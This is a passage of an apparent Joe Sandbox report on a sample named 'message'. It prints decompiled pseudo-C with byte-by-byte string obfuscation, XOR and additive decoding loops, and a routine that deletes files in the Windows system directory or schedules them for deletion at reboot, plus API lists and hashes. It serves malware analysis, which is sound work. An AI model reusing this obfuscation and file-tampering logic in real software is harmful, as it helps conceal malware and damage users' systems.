				char _v575;
				char _v576;
				char _v577;
				char _v578;
				char _v579;
				char _v580;
				char _v584;
				char _v585;
				char _v586;
				char _v587;
				char _v588;
				char _v589;
				char _v590;
				char _v591;
				char _v592;
				char _v593;
				char _v594;
				char _v595;
				char _v596;
				char _v597;
				char _v598;
				char _v599;
				char _v600;
				char _v604;
				char _v605;
				char _v606;
				char _v607;
				char _v608;
				char _v609;
				char _v610;
				char _v611;
				char _v612;
				char _v613;
				char _v614;
				char _v615;
				char _v616;
				char _v617;
				char _v618;
				char _v619;
				char _v620;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t147;
				void* _t149;
				CHAR* _t164;
				CHAR* _t169;
				int _t215;
				void* _t216;
				void* _t219;
				signed int _t220;
				void* _t222;

				_t222 = (_t220 & 0xfffffff8) - 0x26c;
				_t147 =  *0x4310d8; // 0x2c0d4047
				_v8 = _t147;
				_v580 = 0x54;
				_v579 = 0x2c;
				_v578 = 0x7c;
				_v577 = 0xc;
				_v576 = 0x12;
				_v575 = 0x7c;
				_v574 = 0x2c;
				_v573 = 0xe7;
				_v572 = 0x50;
				_v571 = 0x8d;
				_v570 = 0x53;
				_v569 = 0x29;
				_v568 = 0xa2;
				_v567 = 0xa8;
				_v566 = 0x4e;
				_v565 = 0x45;
				_v564 = 0xc5;
				_v620 = 0x19;
				_v619 = 0x47;
				_v618 = 0xee;
				_v617 = 0x5d;
				_v616 = 0x22;
				_v615 = 0xb8;
				_v614 = 0xd;
				_v613 = 0x7c;
				_v612 = 0xe1;
				_v611 = 0xa7;
				_v610 = 0xf;
				_v609 = 0xe;
				_v608 = 0x8c;
				_v607 = 0xbc;
				_v606 = 0x1e;
				_v605 = 0x27;
				_v604 = 0x3b;
				_t215 = 0;
				do {
					 *((intOrPtr*)(_t222 + _t215 + 0x38)) =  *((intOrPtr*)(_t222 + _t215 + 0x38)) +  *((intOrPtr*)(_t222 + _t215 + 0x10));
					_t215 = _t215 + 1;
				} while (_t215 < 0x11);
				_v600 = 0x54;
				_v599 = 0x2c;
				_v598 = 0x7c;
				_v597 = 0xc;
				_v596 = 0x12;
				_v595 = 0x7c;
				_v594 = 0x2c;
				_v593 = 0xe7;
				_v592 = 0x50;
				_v591 = 0x8d;
				_v590 = 0x53;
				_v589 = 0x29;
				_v588 = 0xa2;
				_v587 = 0xa8;
				_v586 = 0x4e;
				_v585 = 0x45;
				_v584 = 0xc5;
				_v620 = 0xf;
				_v619 = 0x41;
				_v618 = 0xf9;
				_v617 = 0x68;
				_v616 = 0x22;
				_v615 = 0xb8;
				_v614 = 0xd;
				_v613 = 0x7c;
				_v612 = 0xe1;
				_v611 = 0xa7;
				_v610 = 0xf;
				_v609 = 0xe;
				_v608 = 0x8c;
				_v607 = 0xbc;
				_v606 = 0x1e;
				_v605 = 0x27;
				_v604 = 0x3b;
				_t216 = 0;
				do {
					 *((intOrPtr*)(_t222 + _t216 + 0x24)) =  *((intOrPtr*)(_t222 + _t216 + 0x24)) +  *((intOrPtr*)(_t222 + _t216 + 0x10));
					_t216 = _t216 + 1;
				} while (_t216 < 0x11);
				_v618 = 0x7c;
				_v615 = 0x7c;
				_v553 = 0x7c;
				_v620 = 0x54;
				_v619 = 0x2c;
				_v617 = 0xc;
				_v616 = 0x12;
				_v614 = 0x2c;
				_v613 = 0xe7;
				_v612 = 0x50;
				_v611 = 0x8d;
				_v610 = 0x53;
				_v609 = 0x29;
				_v608 = 0xa2;
				_v607 = 0xa8;
				_v606 = 0x4e;
				_v605 = 0x45;
				_v604 = 0xc5;
				_v560 = 0x14;
				_v559 = 0x44;
				_v558 = 0xfe;
				_v557 = 0x60;
				_v556 = 0x22;
				_v555 = 0xb8;
				_v554 = 0xd;
				_v552 = 0xe1;
				_v551 = 0xa7;
				_v550 = 0xf;
				_v549 = 0xe;
				_v548 = 0x8c;
				_v547 = 0xbd;
				_v546 = 0x2a;
				_v545 = 0x20;
				_v544 = 0x3b;
				_t149 = 0;
				do {
					_t178 =  *((intOrPtr*)(_t222 + _t149 + 0x10)) +  *((intOrPtr*)(_t222 + _t149 + 0x4c));
					 *((char*)(_t222 + _t149 + 0x10)) =  *((intOrPtr*)(_t222 + _t149 + 0x10)) +  *((intOrPtr*)(_t222 + _t149 + 0x4c));
					_t149 = _t149 + 1;
				} while (_t149 < 0x11);
				memset( &_v276, 0, 0x41 << 2);
				GetSystemDirectoryA( &_v276, 0x104);
				E00422920(_t178,  &(( &_v276)[0x41]), _t216, _t219);
				memset( &_v540, 0, 0x41 << 2);
				_push( &_v580);
				E0042544D( &_v540, 0x103, "%s\%s",  &_v276);
				if(DeleteFileA( &_v540) == 0) {
					MoveFileExA( &_v540, 0, 4);
				}
				memset( &_v540, 0, 0x41 << 2);
				_push( &_v600);
				E0042544D( &_v540, 0x103, "%s\%s",  &_v276);
				_t164 = DeleteFileA( &_v540);
				if(_t164 == 0) {
					MoveFileExA( &_v540, _t164, 4);
				}
				memset( &_v540, 0, 0x41 << 2);
				_push( &_v620);
				E0042544D( &_v540, 0x103, "%s\%s",  &_v276);
				_t169 = DeleteFileA( &_v540);
				if(_t169 == 0) {
					_t169 = MoveFileExA( &_v540, _t169, 4);
				}
				return E00424873(_t169, _v8);
			}

0x00422ef6
0x00422efc
0x00422f02
0x00422f11
0x00422f16
0x00422f1a
0x00422f1e
0x00422f23
0x00422f28
0x00422f2c
0x00422f30
0x00422f35
0x00422f3a
0x00422f3f
0x00422f44
0x00422f49
0x00422f4e
0x00422f53
0x00422f58
0x00422f5d
0x00422f62
0x00422f67
0x00422f6c
0x00422f71
0x00422f76
0x00422f7b
0x00422f80
0x00422f85
0x00422f89
0x00422f8e
0x00422f93
0x00422f97
0x00422f9c
0x00422fa1
0x00422fa6
0x00422fab
0x00422fb0
0x00422fb5
0x00422fb7
0x00422fbb
0x00422fbf
0x00422fc0
0x00422fc5
0x00422fca
0x00422fce
0x00422fd2
0x00422fd7
0x00422fdc
0x00422fe0
0x00422fe4
0x00422fe9
0x00422fee
0x00422ff3
0x00422ff8
0x00422ffd
0x00423002
0x00423007
0x0042300c
0x00423011
0x00423016
0x0042301a
0x0042301f
0x00423024
0x00423029
0x0042302e
0x00423033
0x00423038
0x0042303c
0x00423041
0x00423046
0x0042304a
0x0042304f
0x00423054
0x00423059
0x0042305e
0x00423063
0x00423068
0x00423070
0x00423074
0x00423078
0x00423079
0x0042307e
0x00423082
0x00423086
0x0042308a
0x0042308f
0x00423093
0x00423098
0x0042309d
0x004230a1
0x004230a6
0x004230ab
0x004230b0
0x004230b5
0x004230ba
0x004230bf
0x004230c4
0x004230c9
0x004230ce
0x004230d3
0x004230d8
0x004230dd
0x004230e2
0x004230e7
0x004230ec
0x004230f1
0x004230f6
0x004230fb
0x00423100
0x00423104
0x00423109
0x0042310e
0x00423113
0x00423118
0x0042311d
0x00423122
0x00423124
0x0042312c
0x0042312e
0x00423132
0x00423133
0x00423153
0x00423155
0x0042315b
0x0042316b
0x00423171
0x00423189
0x004231a6
0x004231b1
0x004231b1
0x004231be
0x004231c4
0x004231dc
0x004231e9
0x004231ed
0x004231f7
0x004231f7
0x00423204
0x0042320a
0x00423222
0x0042322f
0x00423233
0x0042323d
0x0042323d
0x00423251

APIs

GetSystemDirectoryA.KERNEL32 ref: 00423155
DeleteFileA.KERNEL32(?), ref: 0042319C
MoveFileExA.KERNEL32 ref: 004231B1
DeleteFileA.KERNEL32(?), ref: 004231E9
MoveFileExA.KERNEL32 ref: 004231F7
DeleteFileA.KERNEL32(?), ref: 0042322F
MoveFileExA.KERNEL32 ref: 0042323D

Strings

E, xrefs: 00422F58
N, xrefs: 004230C4
;, xrefs: 00423063
E, xrefs: 004230C9
T, xrefs: 0042308A
", xrefs: 004230E7
S, xrefs: 004230B0
G@,, xrefs: 00422EFC
*, xrefs: 00423113
), xrefs: 00422FF8
N, xrefs: 00423007
`, xrefs: 004230E2
N, xrefs: 00422F53
), xrefs: 004230B5
;, xrefs: 0042311D
S, xrefs: 00422FF3
T, xrefs: 00422FC5
", xrefs: 00423029
T, xrefs: 00422F11
D, xrefs: 004230D8
P, xrefs: 00422F35
P, xrefs: 004230A6
), xrefs: 00422F44
%s\%s, xrefs: 0042317A, 004231CD, 00423213
S, xrefs: 00422F3F
A, xrefs: 0042301A
h, xrefs: 00423024
, xrefs: 00423118
P, xrefs: 00422FE9
E, xrefs: 0042300C

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID: File$DeleteMove$DirectorySystem
String ID: $"$"$%s\%s$)$)$)$*$;$;$A$D$E$E$E$G@,$N$N$N$P$P$P$S$S$S$T$T$T$`$h
API String ID: 84336133-2052223783
Opcode ID: b14c0ae8dd574057b783fe73dec11bd29fa77d45c1026e4e750054b185980695
Instruction ID: 6d08323a6e56f1df77390437f2eab8c0537e31e2364f4842ab75f608d072a465
Opcode Fuzzy Hash: b14c0ae8dd574057b783fe73dec11bd29fa77d45c1026e4e750054b185980695
Instruction Fuzzy Hash: 44B1E96110C7C199D322DA7D9848B8FFFD51BE7218F480E9DB1E45B2D2C2A9824DC7A7

Uniqueness

Uniqueness Score: -1.00%

Function 0040C3C0, Relevance: 61.8, APIs: 2, Strings: 39, Instructions: 293
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040C3C0(intOrPtr __ecx, intOrPtr _a4) {
				intOrPtr _v4;
				char _v12;
				char _v15;
				char _v16;
				char _v17;
				char _v18;
				char _v19;
				char _v20;
				char _v21;
				char _v22;
				char _v23;
				char _v24;
				char _v25;
				char _v26;
				char _v27;
				char _v28;
				char _v29;
				char _v30;
				char _v31;
				char _v32;
				char _v33;
				char _v34;
				char _v35;
				char _v36;
				char _v37;
				char _v38;
				char _v39;
				char _v40;
				void* _v41;
				void* _v42;
				void* _v43;
				char _v44;
				char _v45;
				char _v46;
				char _v47;
				char _v48;
				char _v49;
				char _v50;
				char _v51;
				char _v52;
				char _v53;
				char _v54;
				char _v55;
				char _v56;
				char _v57;
				char _v58;
				char _v59;
				char _v60;
				char _v61;
				char _v62;
				char _v63;
				char _v64;
				char _v65;
				char _v66;
				char _v67;
				char _v68;
				char _v69;
				char _v70;
				char _v71;
				char _v72;
				char _v73;
				char _v74;
				char _v75;
				char _v76;
				char _v77;
				char _v78;
				char _v79;
				char _v80;
				char _v81;
				char _v82;
				char _v83;
				char _v84;
				char _v85;
				char _v86;
				char _v87;
				char _v88;
				char _v92;
				char _v93;
				char _v94;
				char _v95;
				char _v96;
				char _v97;
				char _v98;
				char _v99;
				char _v100;
				char _v101;
				char _v102;
				char _v103;
				char _v104;
				char _v105;
				char _v106;
				char _v107;
				char _v108;
				char _v109;
				char _v110;
				char _v111;
				char _v112;
				char _v113;
				char _v114;
				char _v115;
				char _v116;
				char _v117;
				char _v118;
				char _v119;
				char _v120;
				char _v121;
				char _v122;
				char _v123;
				char _v124;
				char _v125;
				char _v126;
				char _v127;
				char _v128;
				char _v129;
				char _v130;
				char _v131;
				char _v132;
				char _v133;
				char _v134;
				char _v135;
				char _v136;
				void* _v137;
				void* _v138;
				void* _v139;
				intOrPtr _v140;
				void* _v141;
				char _v142;
				char _v143;
				char _v144;
				char _v145;
				void* _v156;
				void* _v160;
				void* __edi;
				intOrPtr _t221;
				void* _t223;
				void* _t224;
				int _t225;
				intOrPtr _t241;
				void* _t248;
				intOrPtr _t290;
				intOrPtr _t293;
				void* _t299;

				_t221 =  *0x4310d8; // 0x2c0d4047
				_v4 = _t221;
				_v140 = __ecx;
				_v73 = 0xb0;
				_v44 = 0xb0;
				_v136 = 0xb0;
				_v144 = 0xd;
				_v143 = 0xa;
				_v142 = 0;
				_v88 = 0x9a;
				_v87 = 0x34;
				_v86 = 0x27;
				_v85 = 0x9b;
				_v84 = 0xf6;
				_v83 = 0x16;
				_v82 = 0x4f;
				_v81 = 0x95;
				_v80 = 1;
				_v79 = 0x88;
				_v78 = 0xcc;
				_v77 = 0xe;
				_v76 = 0x92;
				_v75 = 0x83;
				_v74 = 0xe9;
				_v72 = 0xc0;
				_v71 = 0xc3;
				_v70 = 0xbd;
				_v69 = 0x29;
				_v68 = 0xe7;
				_v67 = 0xbc;
				_v66 = 0x85;
				_v65 = 0xab;
				_v64 = 0xfb;
				_v63 = 0x41;
				_v62 = 0x91;
				_v61 = 0xb2;
				_v60 = 0;
				_v59 = 0x98;
				_v58 = 0xca;
				_v57 = 5;
				_v56 = 0xda;
				_v55 = 0xa4;
				_v54 = 0x93;
				_v53 = 0xa4;
				_v52 = 0xd4;
				_v51 = 0x67;
				_v50 = 6;
				_v49 = 0x9a;
				_v48 = 0xfa;
				_v47 = 0xfd;
				_v46 = 0xda;
				_v45 = 0x64;
				_v135 = 0x6e;
				_v134 = 0xd7;
				_v133 = 0x94;
				_v132 = 0x93;
				_v131 = 0xf9;
				_v130 = 0x75;
				_v129 = 6;
				_v128 = 0xf9;
				_v127 = 0xd7;
				_v126 = 0xe6;
				_v125 = 0x99;
				_v124 = 0xae;
				_v123 = 0x60;
				_v122 = 0xb9;
				_v121 = 0xea;
				_v120 = 0x61;
				_v119 = 0xda;
				_v118 = 0xf2;
				_v117 = 0x61;
				_v116 = 0xc0;
				_v115 = 0xc5;
				_v114 = 0xec;
				_v113 = 0xdd;
				_v112 = 0x8b;
				_v111 = 0x59;
				_v108 = 0xb8;
				_v99 = 0xb8;
				_v96 = 0x93;
				_v110 = 0x92;
				_v109 = 0xb7;
				_v107 = 0xd5;
				_v106 = 0x9d;
				_v105 = 0xa3;
				_v104 = 0xa8;
				_v103 = 0x6b;
				_v102 = 0xbc;
				_v101 = 0xf1;
				_v100 = 0x55;
				_v98 = 0x3b;
				_v97 = 0x78;
				_v95 = 0xef;
				_v94 = 0x49;
				_v93 = 0x5b;
				_v92 = 0xd9;
				_t223 = 0;
				_t248 = 0x2c;
				do {
					_v145 =  *((intOrPtr*)(_t299 + _t223 + 0xc));
					 *((char*)(_t299 + _t223 + 0xc)) =  *((intOrPtr*)(_t299 + _t248 + 0xc));
					_t223 = _t223 + 1;
					 *((char*)(_t299 + _t248 + 0xc)) = _v145;
					_t248 = _t248 - 1;
				} while (_t223 < _t248);
				_t224 = 0;
				 *0x431c88 = 0xb;
				do {
					 *(_t299 + _t224 + 0x3c) =  *(_t299 + _t224 + 0x3c) ^  *(_t299 + _t224 + 0xc);
					 *(_t299 + _t224 + 0x3d) =  *(_t299 + _t224 + 0x3d) ^  *(_t299 + _t224 + 0xd);
					 *(_t299 + _t224 + 0x3e) =  *(_t299 + _t224 + 0x3e) ^  *(_t299 + _t224 + 0xe);
					 *(_t299 + _t224 + 0x3f) =  *(_t299 + _t224 + 0x3f) ^  *(_t299 + _t224 + 0xf);
					 *(_t299 + _t224 + 0x40) =  *(_t299 + _t224 + 0x40) ^  *(_t299 + _t224 + 0x10);
					_t224 = _t224 + 5;
				} while (_t224 < 0x2d);
				_t225 = lstrlenA( &_v88);
				_t295 = _a4;
				if(E0041BC30( &_v88, _a4,  &_v88, _t225) != 0xffffffff) {
					_v20 = 0xf8;
					_v135 = 0xf8;
					 *((char*)(_t299 + 0x92)) = 0xcb;
					_v134 = 0xcb;
					_v40 = 0x3d;
					_v39 = 0x4f;
					_v38 = 0x91;
					_v37 = 0xe;
					_v36 = 0x81;
					_v35 = 0x94;
					_v34 = 0x61;
					_v33 = 0xc4;
					_v32 = 0x70;
					_v31 = 0x12;
					_v30 = 0x7d;
					_v29 = 0x40;
					_v28 = 0xce;
					_v27 = 0x3a;
					_v26 = 0xa1;
					_v25 = 0xe8;
					_v24 = 0xd7;
					_v23 = 0xc0;
					_v22 = 0x28;
					_v21 = 0x86;
					_v19 = 0x4f;
					_v18 = 0x88;
					_v17 = 0xd;
					_v16 = 0;
					_v15 = 0x3b;
					 *((char*)(_t299 + 0x97)) = 0x95;
					_v12 = 0x44;
					 *((char*)(_t299 + 0x99)) = 0xdd;
					 *((char*)(_t299 + 0x9a)) = 5;
					 *((char*)(_t299 + 0x9b)) = 0xc6;
					 *((char*)(_t299 + 0x9c)) = 0xf2;
					 *((char*)(_t299 + 0x9d)) = 2;
					_v136 = 2;
					_v133 = 0x71;
					_v132 = 0xb4;
					_v131 = 0x26;
					_v130 = 0xa2;
					_v129 = 0xeb;
					_v128 = 1;
					_v127 = 0x67;
					_v126 = 0x63;
					_v125 = 0xe1;
					_v124 = 0x2b;
					_v123 = 0x97;
					_v122 = 0xe5;
					_v121 = 0x46;
					_v120 = 0x85;
					_v119 = 0xfa;
					_v118 = 0x9a;
					_v117 = 0xc4;
					_v116 = 0x5c;
					_v115 = 0xbd;
					_v114 = 0x2e;
					_v113 = 0x1c;
					_v112 = 0x60;
					_v111 = 0x24;
					_v110 = 0xe9;
					_v109 = 0x15;
					_v108 = 0xfa;
					_v107 = 0xe4;
					_v106 = 0x7a;
					_v105 = 0xff;
					_v104 = 0x20;
					_v103 = 0x7e;
					if(E0041BC30(lstrlenA(E0040BDA0( &_v136, 0x22,  &_v40)), _t295, _t230, _t231) != 0xffffffff) {
						_t290 = _v140;
						_t233 =  *((intOrPtr*)(_t290 + 0x84));
						if( *((intOrPtr*)(_t290 + 0x84)) == 0) {
							L14:
							return E00424873(0 | E0041BC30( &_v144, _t295,  &_v144, 2) != 0xffffffff, _v12);
						} else {
							if(E0041BC30(_t233, _t295,  &_v144, 2) == 0xffffffff) {
								goto L7;
							} else {
								_t241 =  *((intOrPtr*)(_t290 + 0x84));
								if( *((intOrPtr*)(_t290 + 0x88)) < 0x10) {
									_t293 = _t290 + 0x74;
								} else {
									_t293 =  *((intOrPtr*)(_t290 + 0x74));
								}
								if(E0041BC30(_t241, _t295, _t293, _t241) == 0xffffffff) {
									goto L7;
								} else {
									goto L14;
								}
							}
						}
					} else {
						L7:
						return E00424873(0, _v4);
					}
				} else {
					return E00424873(0, _v4);
				}
			}

0x0040c3c6
0x0040c3cd
0x0040c3d4
0x0040c3da
0x0040c3e0
0x0040c3e4
0x0040c3ea
0x0040c3ef
0x0040c3f4
0x0040c3f9
0x0040c3fe
0x0040c403
0x0040c408
0x0040c40d
0x0040c412
0x0040c417
0x0040c41c
0x0040c421
0x0040c426
0x0040c42b
0x0040c430
0x0040c435
0x0040c43a
0x0040c43f
0x0040c444
0x0040c449
0x0040c44e
0x0040c453
0x0040c458
0x0040c45d
0x0040c462
0x0040c467
0x0040c46c
0x0040c471
0x0040c476
0x0040c47b
0x0040c480
0x0040c485
0x0040c48a
0x0040c48f
0x0040c494
0x0040c498
0x0040c49d
0x0040c4a1
0x0040c4a6
0x0040c4ab
0x0040c4b0
0x0040c4b5
0x0040c4ba
0x0040c4bf
0x0040c4c4
0x0040c4c8
0x0040c4cd
0x0040c4d2
0x0040c4d7
0x0040c4dc
0x0040c4e0
0x0040c4e4
0x0040c4e9
0x0040c4ee
0x0040c4f2
0x0040c4f7
0x0040c4fc
0x0040c501
0x0040c506
0x0040c50b
0x0040c510
0x0040c515
0x0040c51a
0x0040c51e
0x0040c523
0x0040c528
0x0040c52d
0x0040c532
0x0040c537
0x0040c53c
0x0040c541
0x0040c548
0x0040c54c
0x0040c550
0x0040c554
0x0040c559
0x0040c55e
0x0040c563
0x0040c568
0x0040c56d
0x0040c572
0x0040c577
0x0040c57c
0x0040c581
0x0040c586
0x0040c58b
0x0040c590
0x0040c595
0x0040c59a
0x0040c59f
0x0040c5a4
0x0040c5a6
0x0040c5b0
0x0040c5b4
0x0040c5bc
0x0040c5c4
0x0040c5c5
0x0040c5c9
0x0040c5ca
0x0040c5ce
0x0040c5d0
0x0040c5e0
0x0040c5ee
0x0040c5fc
0x0040c60a
0x0040c618
0x0040c622
0x0040c626
0x0040c629
0x0040c634
0x0040c63a
0x0040c651
0x0040c671
0x0040c678
0x0040c682
0x0040c689
0x0040c697
0x0040c69c
0x0040c6a1
0x0040c6a6
0x0040c6ab
0x0040c6b3
0x0040c6bb
0x0040c6c3
0x0040c6ca
0x0040c6d2
0x0040c6da
0x0040c6e2
0x0040c6ea
0x0040c6f2
0x0040c6fa
0x0040c702
0x0040c70a
0x0040c712
0x0040c71a
0x0040c722
0x0040c72a
0x0040c732
0x0040c73a
0x0040c742
0x0040c74a
0x0040c752
0x0040c75a
0x0040c762
0x0040c76a
0x0040c772
0x0040c77a
0x0040c782
0x0040c78a
0x0040c78f
0x0040c794
0x0040c799
0x0040c79e
0x0040c7a3
0x0040c7a8
0x0040c7ad
0x0040c7b2
0x0040c7b7
0x0040c7bc
0x0040c7c1
0x0040c7c6
0x0040c7cb
0x0040c7d0
0x0040c7d5
0x0040c7da
0x0040c7df
0x0040c7e3
0x0040c7e8
0x0040c7ed
0x0040c7f2
0x0040c7f7
0x0040c7fc
0x0040c801
0x0040c806
0x0040c80b
0x0040c810
0x0040c815
0x0040c81a
0x0040c81f
0x0040c824
0x0040c843
0x0040c85f
0x0040c863
0x0040c86b
0x0040c8a5
0x0040c8d2
0x0040c86d
0x0040c87e
0x00000000
0x0040c880
0x0040c887
0x0040c88d
0x0040c894
0x0040c88f
0x0040c88f
0x0040c88f
0x0040c8a3
0x00000000
0x00000000
0x00000000
0x00000000
0x0040c8a3
0x0040c87e
0x0040c845
0x0040c845
0x0040c85c
0x0040c85c
0x0040c653
0x0040c668
0x0040c668

APIs

lstrlenA.KERNEL32(?,74E06980), ref: 0040C634

Strings

z, xrefs: 0040C815
), xrefs: 0040C453
p, xrefs: 0040C6CA
:, xrefs: 0040C6F2
F, xrefs: 0040C7CB
[, xrefs: 0040C59A
', xrefs: 0040C403
;, xrefs: 0040C74A
D, xrefs: 0040C75A
`, xrefs: 0040C7F7
q, xrefs: 0040C78F
~, xrefs: 0040C824
G@,, xrefs: 0040C3C6
g, xrefs: 0040C7AD
\, xrefs: 0040C7E3
A, xrefs: 0040C471
=, xrefs: 0040C697
d, xrefs: 0040C4C8
c, xrefs: 0040C7B2
, xrefs: 0040C81F
g, xrefs: 0040C4AB
(, xrefs: 0040C71A
@, xrefs: 0040C6E2
k, xrefs: 0040C572
n, xrefs: 0040C4CD
`, xrefs: 0040C506
&, xrefs: 0040C799
., xrefs: 0040C7ED
a, xrefs: 0040C6BB
+, xrefs: 0040C7BC
u, xrefs: 0040C4E4
O, xrefs: 0040C417
O, xrefs: 0040C69C
O, xrefs: 0040C72A
a, xrefs: 0040C515
I, xrefs: 0040C595
$, xrefs: 0040C7FC
}, xrefs: 0040C6DA
x, xrefs: 0040C58B

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID: lstrlen
String ID: $$$&$'$($)$+$.$:$;$=$@$A$D$F$G@,$I$O$O$O$[$\$`$`$a$a$c$d$g$g$k$n$p$q$u$x$z$}$~
API String ID: 1659193697-2924731903
Opcode ID: 2631a85855c076cd5aacd475e32cb0067b642e929b393d4f98d7008e1ed6a5c1
Instruction ID: a6680903d8d87bbf61f69c5cc6f64f2f96010d0bd9b0eb87acbe41b91fb4e4d2
Opcode Fuzzy Hash: 2631a85855c076cd5aacd475e32cb0067b642e929b393d4f98d7008e1ed6a5c1
Instruction Fuzzy Hash: 53F1C31100C7C2C9D322D63D588878FFFD11BA7228F585B9DF1E89A2E3C6A5810AC767

Uniqueness

Uniqueness Score: -1.00%

Function 00421EC0, Relevance: 59.8, APIs: 4, Strings: 30, Instructions: 298
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00421EC0() {
				intOrPtr _v8;
				char _v276;
				void _v540;
				char _v804;
				char _v1068;
				char _v1072;
				char _v1073;
				char _v1074;
				char _v1075;
				char _v1076;
				char _v1077;
				char _v1078;
				char _v1079;
				char _v1080;
				char _v1081;
				char _v1082;
				char _v1083;
				char _v1084;
				char _v1085;
				char _v1086;
				char _v1087;
				char _v1088;
				char _v1092;
				char _v1093;
				char _v1094;
				char _v1095;
				char _v1096;
				char _v1097;
				char _v1098;
				char _v1099;
				char _v1100;
				char _v1101;
				char _v1102;
				char _v1103;
				char _v1104;
				char _v1105;
				char _v1106;
				char _v1107;
				char _v1108;
				char _v1112;
				char _v1113;
				char _v1114;
				char _v1115;
				char _v1116;
				char _v1117;
				char _v1118;
				char _v1119;
				char _v1120;
				char _v1121;
				char _v1122;
				char _v1123;
				char _v1124;
				char _v1125;
				char _v1126;
				char _v1127;
				char _v1128;
				char _v1132;
				char _v1133;
				char _v1134;
				char _v1135;
				char _v1136;
				char _v1137;
				char _v1138;
				char _v1139;
				char _v1140;
				char _v1141;
				char _v1142;
				char _v1143;
				char _v1144;
				char _v1145;
				char _v1146;
				char _v1147;
				char _v1148;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t166;
				void* _t168;
				void* _t171;
				intOrPtr _t172;
				void* _t173;
				unsigned int _t174;
				void* _t178;
				intOrPtr _t179;
				void* _t180;
				unsigned int _t181;
				void* _t185;
				intOrPtr _t186;
				void* _t187;
				unsigned int _t188;
				CHAR* _t191;
				short _t207;
				char _t213;
				void _t214;
				void _t215;
				signed int _t217;
				char _t224;
				void _t225;
				void _t226;
				signed int _t228;
				char _t235;
				void _t236;
				void _t237;
				signed int _t239;
				int _t242;
				void* _t249;
				void* _t250;
				void* _t251;
				short* _t258;
				void* _t260;
				short* _t268;
				void* _t270;
				short* _t278;
				void* _t280;
				void* _t284;
				int _t287;
				void* _t288;
				void* _t289;
				void* _t290;
				void* _t291;
				void* _t292;
				void* _t294;
				signed int _t295;
				void* _t297;
				void* _t298;
				void* _t301;
				void* _t304;
				void* _t306;

				_t297 = (_t295 & 0xfffffff8) - 0x47c;
				_t166 =  *0x4310d8; // 0x2c0d4047
				_v8 = _t166;
				_v1108 = 0x54;
				_v1107 = 0x2c;
				_v1106 = 0x7c;
				_v1105 = 0xc;
				_v1104 = 0x12;
				_v1103 = 0x7c;
				_v1102 = 0x2c;
				_v1101 = 0xe7;
				_v1100 = 0x50;
				_v1099 = 0x8d;
				_v1098 = 0x53;
				_v1097 = 0x29;
				_v1096 = 0xa2;
				_v1095 = 0xa8;
				_v1094 = 0x4e;
				_v1093 = 0x45;
				_v1092 = 0xc5;
				_v1148 = 0x19;
				_v1147 = 0x47;
				_v1146 = 0xee;
				_v1145 = 0x5d;
				_v1144 = 0x22;
				_v1143 = 0xb8;
				_v1142 = 0xd;
				_v1141 = 0x7c;
				_v1140 = 0xe1;
				_v1139 = 0xa7;
				_v1138 = 0xf;
				_v1137 = 0xe;
				_v1136 = 0x8c;
				_v1135 = 0xbc;
				_v1134 = 0x1e;
				_v1133 = 0x27;
				_v1132 = 0x3b;
				_t287 = 0;
				do {
					 *((intOrPtr*)(_t297 + _t287 + 0x38)) =  *((intOrPtr*)(_t297 + _t287 + 0x38)) +  *((intOrPtr*)(_t297 + _t287 + 0x10));
					_t287 = _t287 + 1;
				} while (_t287 < 0x11);
				_v1128 = 0x54;
				_v1127 = 0x2c;
				_v1126 = 0x7c;
				_v1125 = 0xc;
				_v1124 = 0x12;
				_v1123 = 0x7c;
				_v1122 = 0x2c;
				_v1121 = 0xe7;
				_v1120 = 0x50;
				_v1119 = 0x8d;
				_v1118 = 0x53;
				_v1117 = 0x29;
				_v1116 = 0xa2;
				_v1115 = 0xa8;
				_v1114 = 0x4e;
				_v1113 = 0x45;
				_v1112 = 0xc5;
				_v1148 = 0xf;
				_v1147 = 0x41;
				_v1146 = 0xf9;
				_v1145 = 0x68;
				_v1144 = 0x22;
				_v1143 = 0xb8;
				_v1142 = 0xd;
				_v1141 = 0x7c;
				_v1140 = 0xe1;
				_v1139 = 0xa7;
				_v1138 = 0xf;
				_v1137 = 0xe;
				_v1136 = 0x8c;
				_v1135 = 0xbc;
				_v1134 = 0x1e;
				_v1133 = 0x27;
				_v1132 = 0x3b;
				_t288 = 0;
				do {
					 *((intOrPtr*)(_t297 + _t288 + 0x24)) =  *((intOrPtr*)(_t297 + _t288 + 0x24)) +  *((intOrPtr*)(_t297 + _t288 + 0x10));
					_t288 = _t288 + 1;
				} while (_t288 < 0x11);
				_v1146 = 0x7c;
				_v1143 = 0x7c;
				_v1081 = 0x7c;
				_v1148 = 0x54;
				_v1147 = 0x2c;
				_v1145 = 0xc;
				_v1144 = 0x12;
				_v1142 = 0x2c;
				_v1141 = 0xe7;
				_v1140 = 0x50;
				_v1139 = 0x8d;
				_v1138 = 0x53;
				_v1137 = 0x29;
				_v1136 = 0xa2;
				_v1135 = 0xa8;
				_v1134 = 0x4e;
				_v1133 = 0x45;
				_v1132 = 0xc5;
				_v1088 = 0x14;
				_v1087 = 0x44;
				_v1086 = 0xfe;
				_v1085 = 0x60;
				_v1084 = 0x22;
				_v1083 = 0xb8;
				_v1082 = 0xd;
				_v1080 = 0xe1;
				_v1079 = 0xa7;
				_v1078 = 0xf;
				_v1077 = 0xe;
				_v1076 = 0x8c;
				_v1075 = 0xbd;
				_v1074 = 0x2a;
